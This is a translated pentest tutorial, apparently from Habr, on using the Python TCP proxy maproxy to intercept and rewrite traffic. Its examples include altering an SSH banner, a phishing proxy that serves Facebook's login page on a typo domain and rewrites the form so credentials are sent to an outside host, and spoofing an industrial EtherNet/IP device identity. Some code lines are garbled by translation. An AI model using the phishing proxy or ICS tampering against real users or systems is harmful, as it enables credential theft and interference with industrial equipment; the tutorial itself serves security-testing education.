Verwerk netwerkgegevens in een handomdraai

De vertaling van het artikel is gemaakt aan de vooravond van de start van de cursus “Pentest. Praktijk voor penetratietesten".

Verwerk netwerkgegevens in een handomdraai

abstract

Een verscheidenheid aan soorten beveiligingsbeoordelingen, variërend van reguliere penetratietests en Red Team-operaties tot het hacken van IoT/ICS-apparaten en SCADA, omvatten het werken met binaire netwerkprotocollen, dat wil zeggen het onderscheppen en wijzigen van netwerkgegevens tussen de client en het doelwit. Het opsporen van netwerkverkeer is geen moeilijke taak omdat we tools als Wireshark, Tcpdump of Scapy hebben, maar het aanpassen lijkt een arbeidsintensievere taak omdat we een soort interface nodig hebben om de netwerkgegevens te lezen, te filteren, te wijzigen het on-the-fly en stuur het in bijna realtime terug naar de doelhost. Bovendien zou het ideaal zijn als zo’n tool automatisch zou kunnen werken met meerdere parallelle verbindingen en aanpasbaar zou zijn met behulp van scripts.

Op een dag ontdekte ik een tool genaamd maproxy, de documentatie maakte mij dat snel duidelijk maproxy - precies wat ik nodig heb. Dit is een vrij eenvoudige, veelzijdige en gemakkelijk configureerbare TCP-proxy. Ik heb dit hulpprogramma getest op verschillende tamelijk complexe toepassingen, waaronder ICS-apparaten (die veel pakketten genereren) om te zien of het veel parallelle verbindingen aankan, en het hulpprogramma presteerde goed.

In dit artikel maakt u kennis met het direct verwerken van netwerkgegevens met behulp van maproxy.

Recensie

Gereedschap maproxy is gebaseerd op Tornado, een populair en volwassen asynchrone netwerkframework in Python.

Over het algemeen kan het in verschillende modi werken:

  • TCP:TCP – niet-gecodeerde TCP-verbindingen;
  • TCP:SSL и SSL:TCP – met eenrichtingsversleuteling;
  • SSL:SSL – tweerichtingsversleuteling.

Het komt als een bibliotheek. Om snel aan de slag te gaan, kunt u voorbeeldbestanden gebruiken die het hoofdbestand weergeven bibliotheek functies:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Geval 1 – eenvoudige bidirectionele proxy

Gebaseerd op tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Bij verstek ProxyServer() heeft twee argumenten nodig: de verbindingslocatie en de doelpoort. server.listen() heeft één argument nodig: de poort voor het luisteren naar de inkomende verbinding.

Het script uitvoeren:

# python tcp2tcp.py

Om de test uit te voeren, gaan we verbinding maken met een lokale SSH-server via ons proxyscript, dat meeluistert 2222/tcp poort en wordt aangesloten op een standaardpoort 22/tcp SSH-servers:

Verwerk netwerkgegevens in een handomdraai

De welkomstbanner informeert u dat ons voorbeeldscript met succes netwerkverkeer heeft geproxyd.

Geval 2 – gegevenswijziging

Nog een demoscript logging_proxy.py ideaal voor interactie met netwerkgegevens. In de opmerkingen in het bestand worden de klassenmethoden beschreven die u kunt wijzigen om uw doel te bereiken:

Verwerk netwerkgegevens in een handomdraai

Het meest interessante is hier:

  • on_c2p_done_read – om gegevens te onderscheppen onderweg van de client naar de server;
  • on_p2s_done_read - teruggedraaid.

Laten we proberen de SSH-banner te wijzigen die de server retourneert naar de client:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Voer het script uit:

Verwerk netwerkgegevens in een handomdraai

Zoals u kunt zien, werd de klant misleid omdat de SSH-servernaam voor hem was gewijzigd in «DumnySSH».

Verwerk netwerkgegevens in een handomdraai

Geval 3 – eenvoudige phishing-webpagina

Er zijn eindeloze manieren om deze tool te gebruiken. Laten we ons deze keer concentreren op iets praktischer vanuit de operationele kant van het Rode Team. Laten we de landingspagina nabootsen m.facebook.com en gebruik een aangepast domein met een opzettelijke typefout, bijvoorbeeld m.facebok.com. Laten we er ter demonstratie van uitgaan dat het domein door ons is geregistreerd.

We gaan een niet-gecodeerde netwerkverbinding tot stand brengen met de proxy van onze slachtoffers en SSL Stream naar de Facebook-server (31.13.81.36). Om dit voorbeeld te laten werken, moeten we de HTTP-hostheader vervangen en de juiste hostnaam injecteren, en we zullen ook de responscompressie uitschakelen, zodat we gemakkelijk toegang hebben tot de inhoud. Uiteindelijk zullen we het HTML-formulier vervangen, zodat de inloggegevens naar ons worden verzonden in plaats van naar de servers van Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/nl/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

In het kort:

Verwerk netwerkgegevens in een handomdraai

Zoals u kunt zien, zijn we erin geslaagd de oorspronkelijke site te vervangen.

Geval 4 – Ethernet/IP porteren

Ik houd mij al geruime tijd bezig met industriële apparaten en software (ICS/SCADA), zoals programmeerbare controllers (PLC), I/O-modules, aandrijvingen, relais, ladderprogrammeeromgevingen en nog veel meer. Deze case is voor degenen die van industriële dingen houden. Het hacken van dergelijke oplossingen houdt in dat er actief wordt gespeeld met netwerkprotocollen. In het volgende voorbeeld wil ik laten zien hoe u het ICS/SCADA-netwerkverkeer kunt aanpassen.

Hiervoor heb je het volgende nodig:

  • Netwerksniffer, bijvoorbeeld Wireshark;
  • Ethernet/IP of gewoon een SIP-apparaat, je kunt het vinden via de Shodan-service;
  • Ons script is gebaseerd op maproxy.

Laten we eerst eens kijken hoe een typisch identificatieantwoord van CIP (Common Industrial Protocol) eruit ziet:

Verwerk netwerkgegevens in een handomdraai

Apparaatidentificatie wordt bereikt met behulp van het Ethernet/IP-protocol, een verbeterde versie van het industriële Ethernet-protocol dat besturingsprotocollen zoals CIP omvat. We gaan de gemarkeerde ID-naam wijzigen die zichtbaar is in de schermafbeelding "NI-IndComm voor Ethernet" met behulp van ons proxyscript. We kunnen het script hergebruiken logging_proxy.py en wijzig op dezelfde manier de klassenmethode on_p2s_done_read, omdat we willen dat een andere identiteitsnaam zichtbaar is op de client.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

In wezen hebben we twee keer om apparaatidentificatie gevraagd: het tweede antwoord was het originele antwoord en het eerste werd meteen aangepast.

En de laatste

Naar mijn mening maproxy Een handige en eenvoudige tool, die ook in Python is geschreven, dus ik denk dat ook jij er profijt van kunt hebben als je er gebruik van maakt. Natuurlijk zijn er complexere tools voor het verwerken en wijzigen van netwerkgegevens, maar deze vereisen ook meer aandacht en worden meestal gemaakt voor een specifiek gebruiksscenario, b.v. muraena, Modlishka of evilginx voor gevallen vergelijkbaar met de derde, of canape voor het laatste geval. Op de een of andere manier, met de hulp maproxy u kunt uw ideeën voor het onderscheppen van netwerkgegevens snel implementeren, aangezien de voorbeeldscripts zeer duidelijk zijn.

Authenticatiemechanismen testen in Windows AD

Bron: www.habr.com

Voeg een reactie